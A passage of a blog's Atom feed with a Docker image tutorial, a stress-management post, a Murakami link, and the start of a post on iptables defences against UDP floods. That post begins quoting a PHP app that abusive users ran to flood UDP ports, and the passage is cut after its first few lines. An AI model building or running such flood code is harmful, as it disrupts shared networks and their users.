{https://registry-1.docker.io/v1/repositories/thoward/scooby_snacks/tags/latest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now that it&#39;s published, it should show up with &lt;code&gt;docker search&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME                    DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;thoward/scooby_snacks                 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There it is. Next, let&#39;s cleanup a bit and delete the old root level one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE&#xA;scooby_snacks           latest              91acef3a5936        30 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;thoward/scooby_snacks   latest              91acef3a5936        30 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&#xA;$ docker rmi scooby_snacks&#xA;Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&#xA;$ docker images&#xA;REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE&#xA;thoward/scooby_snacks   latest              91acef3a5936        29 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Ok, that one is gone.&lt;/p&gt;&#xA;&lt;p&gt;Also, to be honest, this is not a very interesting image to share publicly, and we don&#39;t want to look like n00bs, so let&#39;s delete it as well.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker rmi thoward/scooby_snacks&#xA;Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;Deleted: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&#xA;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This time, since Docker realized it was the last reference to that image ID, &lt;code&gt;docker rmi&lt;/code&gt; has an additional message indicating that it deleted it instead of just &#39;untagging&#39; it.&lt;/p&gt;&#xA;&lt;p&gt;But wait! It is still public at the Docker Index, isn&#39;t it? Let&#39;s check:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME                    DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;thoward/scooby_snacks                 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hmm.. Well this is handy, before we delete it, we can try &lt;code&gt;docker pull&lt;/code&gt; and fetch it down like a &amp;quot;real&amp;quot; image and run it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker pull thoward/scooby_snacks&#xA;Pulling repository thoward/scooby_snacks&#xA;91acef3a5936: Download complete&#xA;8dbd9e392a96: Download complete&#xA;&#xA;$ docker run -i -t thoward/scooby_snacks /bin/bash&#xA;root@90f6546bf3b7:/# ls -al&#xA;total 12308&#xA;drwxr-xr-x  30 root root     4096 Dec 13 07:03 .&#xA;drwxr-xr-x  30 root root     4096 Dec 13 07:03 ..&#xA;-rw-------   1 root root      208 Dec 13 07:03 .dockerenv&#xA;-rwxr-xr-x   1 root root 12516574 Nov 22 02:34 .dockerinit&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 bin&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 boot&#xA;drwxr-xr-x   6 root root     4096 Nov 22 06:52 dev&#xA;drwxr-xr-x  41 root root     4096 Nov 22 06:52 etc&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 home&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 lib&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 lib64&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 media&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 mnt&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 opt&#xA;dr-xr-xr-x 105 root root        0 Dec 13 07:03 proc&#xA;drwx------   2 root root     4096 Nov 22 06:51 root&#xA;drwxr-xr-x   4 root root     4096 Nov 22 06:51 run&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 sbin&#xA;-rw-r--r--   1 root root        0 Dec 13 06:27 scooby_snacks.txt&#xA;drwxr-xr-x   2 root root     4096 Mar  5  2012 selinux&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 srv&#xA;dr-xr-xr-x  13 root root        0 Dec 13 07:03 sys&#xA;drwxrwxrwt   2 root root     4096 Apr 11  2013 tmp&#xA;drwxr-xr-x  10 root root     4096 Nov 22 06:51 usr&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 var&#xA;root@90f6546bf3b7:/#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works!&lt;/p&gt;&#xA;&lt;h3 id=&#34;deleting-a-published-repository&#34;&gt;Deleting a Published Repository&lt;/h3&gt;&#xA;&lt;p&gt;Unfortunately, to delete it from the public index/registry, we have to use the web interface, not the command-line.&lt;/p&gt;&#xA;&lt;p&gt;First, &lt;a href=&#34;https://index.docker.io/account/login/&#34;&gt;login via the web&lt;/a&gt; then navigate to the repository at&#xA;&lt;a href=&#34;https://index.docker.io/u/thoward/scooby_snacks/&#34;&gt;https://index.docker.io/u/thoward/scooby_snacks/&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;screen-1.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click on &#39;Settings&#39; tab, then &#39;Delete Repository&#39; tab, then the &#39;Delete Repo&#39; button.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;screen-2.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Back on the command-line we can verify it&#39;s gone with &lt;code&gt;docker search scooby_snacks&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME      DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But of course, since we never deleted the local version of it after we pulled it back down, it&#39;s still going to show up in &lt;code&gt;docker images&lt;/code&gt;, since we have a local copy:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE&#xA;thoward/scooby_snacks   latest              91acef3a5936        46 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So to completely remove it we need to run &lt;code&gt;docker rmi&lt;/code&gt; again.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker rmi thoward/scooby_snacks&#xA;Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;Deleted: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not to worry, we can always rebuild it with our &lt;code&gt;Dockerfile&lt;/code&gt;. :)&lt;/p&gt;&#xA;&lt;h3 id=&#34;important-security-lesson&#34;&gt;Important Security Lesson&lt;/h3&gt;&#xA;&lt;p&gt;It&#39;s really important to consider the security implications of what we just saw though.&lt;/p&gt;&#xA;&lt;p&gt;Even if a Docker image is deleted from the Docker Index &lt;em&gt;it may still be out there on someones machine&lt;/em&gt;. There&#39;s no way to change that.&lt;/p&gt;&#xA;&lt;p&gt;Also, as we saw when looking at the files we have locally, it&#39;s not quite an &amp;quot;opaque binary&amp;quot; image. All the information from the Dockerfile was in the JSON file for the image, and the artifacts of those commands are in the layer, as accessible as a filesystem. If you accidentally published a password or key, or some other critical secret, there&#39;s no getting it back, and people can find as easily as they can find anything else in a published open source code base.&lt;/p&gt;&#xA;&lt;p&gt;Be very careful about what you&#39;re publishing. If you do accidentally publish a secret, take it down right away and update credentials on whatever systems it might have compromised.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;Docker can be a bit confusing with its terminology, but once you wrap your head around the basic workflow described here, it should be very easy to be in-control of what you&#39;re building, knowing exactly when and how you share that with the world.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Managing Stress as a Busy Person: The Three S&#39;s</title>
		<id>https://blog.thoward37.me/articles/managing-stress-as-a-busy-person-the-three-ss</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/managing-stress-as-a-busy-person-the-three-ss" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/managing-stress-as-a-busy-person-the-three-ss" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/managing-stress-as-a-busy-person-the-three-ss" type="text/html"></link>
		<published>2013-09-10T00:00:00+00:00</published>
		<updated>2013-09-10T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;There are times when a productive person finds themselves overwhelmed with work. You&#39;ll look around and proclaim &amp;quot;there&#39;s no end to this&amp;quot; as your sense of priority fails you, switching from task to task without completing any of them. You spend too much time on simple or unimportant things. You get frustrated easily and can feel the blue smoke coming out of your ears, longing to escape the dilemma. It&#39;s ultimately unfair that the more capable you are the more work you get thrown at you, while those unproductive fools surrounding you laugh off your fervor, chortling away from their lap of leisure.&lt;/p&gt;&#xA;&lt;p&gt;Well, there&#39;s a simple set of rules to solve this problem. Just like the &lt;a href=&#34;http://www.youtube.com/watch?v=wtoeZ9Nkeqk&#34;&gt;three R&#39;s&lt;/a&gt; of &lt;a href=&#34;http://en.wikipedia.org/wiki/Waste_hierarchy&#34;&gt;waste prevention&lt;/a&gt; (reduce, reuse, recycle), there are three S&#39;s of the stressed over-producer (or alternatively the three D&#39;s):&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;share&#34;&gt;Share&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;D: Delegate&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first thing to do when facing an enormous workload is to try to &lt;strong&gt;share the load&lt;/strong&gt;. It may not be obvious, but oftentimes the folks around you are more than willing to help out, if you simply ask them to. However, they may never offer to help if you don&#39;t ask for it, and share your needs. This can be hard, because letting go of control can seem impossible.&lt;/p&gt;&#xA;&lt;p&gt;It may seem as though, if you don&#39;t do it yourself, it won&#39;t be done right.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Newsflash:&lt;/em&gt; you&#39;re already screwing it up by being so overworked. You&#39;re taking too long. You&#39;re too distracted to do a quality job. You can&#39;t even really remember what is important about what you&#39;re doing.&lt;/p&gt;&#xA;&lt;p&gt;Stopping for a moment, explaining it to someone else, and letting go of the responsibility can be a tremendous relief. That relief is as valuable as your reduced workload from sharing. This should always be your first and best option when overworked. You&#39;ll make a new friend. You&#39;ll teach someone how to help you so it&#39;s easier to lean on them next time you&#39;re in this situation. You&#39;ll have someone to vent your frustrations to. Sharing is awesome!&lt;/p&gt;&#xA;&lt;h3 id=&#34;schedule&#34;&gt;Schedule&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;D: Defer&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sometimes, though, there&#39;s really no one who can help out. Or maybe people are already helping and there&#39;s still a ton to do. More than you and your entire army of helpers can do. But, here&#39;s the thing. Not everything actually has to be done right now.&lt;/p&gt;&#xA;&lt;p&gt;I know, it may &lt;em&gt;seem&lt;/em&gt; like it &lt;strong&gt;should&lt;/strong&gt; be done right now, but beware that evil S-word, &lt;em&gt;should&lt;/em&gt;. It will mess you up every chance it gets. Instead of &amp;quot;&lt;em&gt;should&lt;/em&gt;&amp;quot;, rephrase the question with &amp;quot;&lt;em&gt;could&lt;/em&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Could this be done later?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h5 id=&#34;--you&#34;&gt;- You&lt;/h5&gt;&#xA;&lt;p&gt;What would happen? How bad would life be if you waited until tomorrow, or next week, or next month to do this? When is the very latest time, if you were to put this off to, that you&#39;d still have time to get it done?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Schedule it.&lt;/strong&gt; You&#39;re not abandoning the work, you&#39;re just deferring it until later. Once you&#39;ve given it a time slot on a schedule, you don&#39;t feel like you&#39;re letting anyone down. You&#39;re still committed to doing it, and in fact, by scheduling it properly, you&#39;re ensuring that it will get done at an appropriate time, instead of being screwed up by your current overworked self.&lt;/p&gt;&#xA;&lt;p&gt;Scheduling is your friend. In fact, one can even take this idea so far, that you could categorize all your things to do into &amp;quot;things that I need to do now&amp;quot; and &amp;quot;things that can be put off until later&amp;quot;, and avoid the equally bothersome task of setting a specific date for that deferred work.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Don&#39;t do now what you can put off until tomorrow.&amp;quot; Oh no, now we&#39;re starting to sound like our less productive peers. The difference is, you&#39;ll actually do it later. As you complete your &amp;quot;do it now&amp;quot; list, move over a nice manageable set of things from the deferred list and watch as it whittles away to nothing, slowly but surely.&lt;/p&gt;&#xA;&lt;h3 id=&#34;scrap&#34;&gt;Scrap&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;D: Delete&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well now look at that awesome &amp;quot;do it later&amp;quot; list we just made. It&#39;s got 500 items on it. It&#39;s time to get real here. How many of those things will you ever actually do?&lt;/p&gt;&#xA;&lt;p&gt;Looking at a backlog of deferred work can be very frustrating. It can put us right back where we started, feeling like the work is endless.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s take a critical eye at that list. What can be removed? What things here are so unlikely to ever make it into the &amp;quot;do it now&amp;quot; category at some point in the future. Surely there is at least ONE thing in that list which can be forever deleted. Go ahead, don&#39;t be wishy-washy. Commit to deleting it.&lt;/p&gt;&#xA;&lt;p&gt;Say &amp;quot;thanks, but no thanks&amp;quot; to that work. You don&#39;t do windows. You&#39;re not going to knit a sweater for your aunt, &lt;em&gt;ever&lt;/em&gt;, no matter how much you like the idea of doing it. Just toss it, and feel good that your deferred list just got shorter, and all you had to do was hit &lt;strong&gt;DEL&lt;/strong&gt; on your keyboard.&lt;/p&gt;&#xA;&lt;p&gt;Bye bye frustration, hello clarity. You might even find, that once you get started deleting things, it gets addictive, and fun, and you might just delete the whole damned list, go for a walk and have a piece of cheesecake. And that might be exactly the right thing to do.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;So wether you prefer to &lt;strong&gt;Share, Schedule, Scrap&lt;/strong&gt; or &lt;em&gt;Delegate, Defer, Delete&lt;/em&gt;, either way, with these tools in your back pocket, you&#39;ll be on top of that workload in no time. And don&#39;t even think about the 10 minutes you just spent reading this and how much work you didn&#39;t get done... :P&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;There are times when a productive person finds themselves overwhelmed with work. You&#39;ll look around and proclaim &amp;quot;there&#39;s no end to this&amp;quot; as your sense of priority fails you, switching from task to task without completing any of them. You spend too much time on simple or unimportant things. You get frustrated easily and can feel the blue smoke coming out of your ears, longing to escape the dilemma. It&#39;s ultimately unfair that the more capable you are the more work you get thrown at you, while those unproductive fools surrounding you laugh off your fervor, chortling away from their lap of leisure.&lt;/p&gt;&#xA;&lt;p&gt;Well, there&#39;s a simple set of rules to solve this problem. Just like the &lt;a href=&#34;http://www.youtube.com/watch?v=wtoeZ9Nkeqk&#34;&gt;three R&#39;s&lt;/a&gt; of &lt;a href=&#34;http://en.wikipedia.org/wiki/Waste_hierarchy&#34;&gt;waste prevention&lt;/a&gt; (reduce, reuse, recycle), there are three S&#39;s of the stressed over-producer (or alternatively the three D&#39;s):&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;share&#34;&gt;Share&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;D: Delegate&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first thing to do when facing an enormous workload is to try to &lt;strong&gt;share the load&lt;/strong&gt;. It may not be obvious, but oftentimes the folks around you are more than willing to help out, if you simply ask them to. However, they may never offer to help if you don&#39;t ask for it, and share your needs. This can be hard, because letting go of control can seem impossible.&lt;/p&gt;&#xA;&lt;p&gt;It may seem as though, if you don&#39;t do it yourself, it won&#39;t be done right.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Newsflash:&lt;/em&gt; you&#39;re already screwing it up by being so overworked. You&#39;re taking too long. You&#39;re too distracted to do a quality job. You can&#39;t even really remember what is important about what you&#39;re doing.&lt;/p&gt;&#xA;&lt;p&gt;Stopping for a moment, explaining it to someone else, and letting go of the responsibility can be a tremendous relief. That relief is as valuable as your reduced workload from sharing. This should always be your first and best option when overworked. You&#39;ll make a new friend. You&#39;ll teach someone how to help you so it&#39;s easier to lean on them next time you&#39;re in this situation. You&#39;ll have someone to vent your frustrations to. Sharing is awesome!&lt;/p&gt;&#xA;&lt;h3 id=&#34;schedule&#34;&gt;Schedule&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;D: Defer&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sometimes, though, there&#39;s really no one who can help out. Or maybe people are already helping and there&#39;s still a ton to do. More than you and your entire army of helpers can do. But, here&#39;s the thing. Not everything actually has to be done right now.&lt;/p&gt;&#xA;&lt;p&gt;I know, it may &lt;em&gt;seem&lt;/em&gt; like it &lt;strong&gt;should&lt;/strong&gt; be done right now, but beware that evil S-word, &lt;em&gt;should&lt;/em&gt;. It will mess you up every chance it gets. Instead of &amp;quot;&lt;em&gt;should&lt;/em&gt;&amp;quot;, rephrase the question with &amp;quot;&lt;em&gt;could&lt;/em&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Could this be done later?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h5 id=&#34;--you&#34;&gt;- You&lt;/h5&gt;&#xA;&lt;p&gt;What would happen? How bad would life be if you waited until tomorrow, or next week, or next month to do this? When is the very latest time, if you were to put this off to, that you&#39;d still have time to get it done?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Schedule it.&lt;/strong&gt; You&#39;re not abandoning the work, you&#39;re just deferring it until later. Once you&#39;ve given it a time slot on a schedule, you don&#39;t feel like you&#39;re letting anyone down. You&#39;re still committed to doing it, and in fact, by scheduling it properly, you&#39;re ensuring that it will get done at an appropriate time, instead of being screwed up by your current overworked self.&lt;/p&gt;&#xA;&lt;p&gt;Scheduling is your friend. In fact, one can even take this idea so far, that you could categorize all your things to do into &amp;quot;things that I need to do now&amp;quot; and &amp;quot;things that can be put off until later&amp;quot;, and avoid the equally bothersome task of setting a specific date for that deferred work.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Don&#39;t do now what you can put off until tomorrow.&amp;quot; Oh no, now we&#39;re starting to sound like our less productive peers. The difference is, you&#39;ll actually do it later. As you complete your &amp;quot;do it now&amp;quot; list, move over a nice manageable set of things from the deferred list and watch as it whittles away to nothing, slowly but surely.&lt;/p&gt;&#xA;&lt;h3 id=&#34;scrap&#34;&gt;Scrap&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;D: Delete&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well now look at that awesome &amp;quot;do it later&amp;quot; list we just made. It&#39;s got 500 items on it. It&#39;s time to get real here. How many of those things will you ever actually do?&lt;/p&gt;&#xA;&lt;p&gt;Looking at a backlog of deferred work can be very frustrating. It can put us right back where we started, feeling like the work is endless.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s take a critical eye at that list. What can be removed? What things here are so unlikely to ever make it into the &amp;quot;do it now&amp;quot; category at some point in the future. Surely there is at least ONE thing in that list which can be forever deleted. Go ahead, don&#39;t be wishy-washy. Commit to deleting it.&lt;/p&gt;&#xA;&lt;p&gt;Say &amp;quot;thanks, but no thanks&amp;quot; to that work. You don&#39;t do windows. You&#39;re not going to knit a sweater for your aunt, &lt;em&gt;ever&lt;/em&gt;, no matter how much you like the idea of doing it. Just toss it, and feel good that your deferred list just got shorter, and all you had to do was hit &lt;strong&gt;DEL&lt;/strong&gt; on your keyboard.&lt;/p&gt;&#xA;&lt;p&gt;Bye bye frustration, hello clarity. You might even find, that once you get started deleting things, it gets addictive, and fun, and you might just delete the whole damned list, go for a walk and have a piece of cheesecake. And that might be exactly the right thing to do.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;So wether you prefer to &lt;strong&gt;Share, Schedule, Scrap&lt;/strong&gt; or &lt;em&gt;Delegate, Defer, Delete&lt;/em&gt;, either way, with these tools in your back pocket, you&#39;ll be on top of that workload in no time. And don&#39;t even think about the 10 minutes you just spent reading this and how much work you didn&#39;t get done... :P&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Man Eating Cats by Haruki Murakami</title>
		<id>https://blog.thoward37.me/articles/man-eating-cats-by-haruki-murakami</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/man-eating-cats-by-haruki-murakami" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/man-eating-cats-by-haruki-murakami" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/man-eating-cats-by-haruki-murakami" type="text/html"></link>
		<published>2013-08-12T00:00:00+00:00</published>
		<updated>2013-08-12T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;a href=&#34;http://en.wikipedia.org/wiki/Haruki_Murakami&#34;&gt;Haruki Murakami&lt;/a&gt; is a wonderful writer. I recently came across this story online, but the &lt;a href=&#34;http://www.geocities.jp/yoshio_osakabe/Haruki/Books/Man-Eating-E.html&#34;&gt;version I was reading&lt;/a&gt; was the result of a terrible OCR job full of distracting artifacts.&lt;/p&gt;&#xA;&lt;p&gt;So I decided to edit it, fix all the weird OCRness and turn it into a markdown Gist. You can now read it through the lovely tool, &lt;a href=&#34;http://gist.io/&#34;&gt;Gist.io&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the finished version:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://gist.io/6216861&#34;&gt;Man Eating Cats by Haruki Murakami&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://en.wikipedia.org/wiki/Haruki_Murakami&#34;&gt;Haruki Murakami&lt;/a&gt; is a wonderful writer. I recently came across this story online, but the &lt;a href=&#34;http://www.geocities.jp/yoshio_osakabe/Haruki/Books/Man-Eating-E.html&#34;&gt;version I was reading&lt;/a&gt; was the result of a terrible OCR job full of distracting artifacts.&lt;/p&gt;&#xA;&lt;p&gt;So I decided to edit it, fix all the weird OCRness and turn it into a markdown Gist. You can now read it through the lovely tool, &lt;a href=&#34;http://gist.io/&#34;&gt;Gist.io&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the finished version:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://gist.io/6216861&#34;&gt;Man Eating Cats by Haruki Murakami&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: iptables settings to prevent UDP abuse</title>
		<id>https://blog.thoward37.me/articles/code-snippet-iptables-settings-to-prevent-udp-floods</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-iptables-settings-to-prevent-udp-floods" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-iptables-settings-to-prevent-udp-floods" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-iptables-settings-to-prevent-udp-floods" type="text/html"></link>
		<published>2013-08-07T00:00:00+00:00</published>
		<updated>2013-08-07T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Recently, at AppFog, we encountered a series of abusive users attempting to cause havoc by flooding UDP.&lt;/p&gt;&#xA;&lt;p&gt;Some basic &lt;code&gt;iptables&lt;/code&gt; settings can prevent this kind of thing from happening.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-attacker&#34;&gt;The Attacker&lt;/h3&gt;&#xA;&lt;p&gt;Here&#39;s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;ignore_user_abort&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;TRUE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;set_time_limit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span 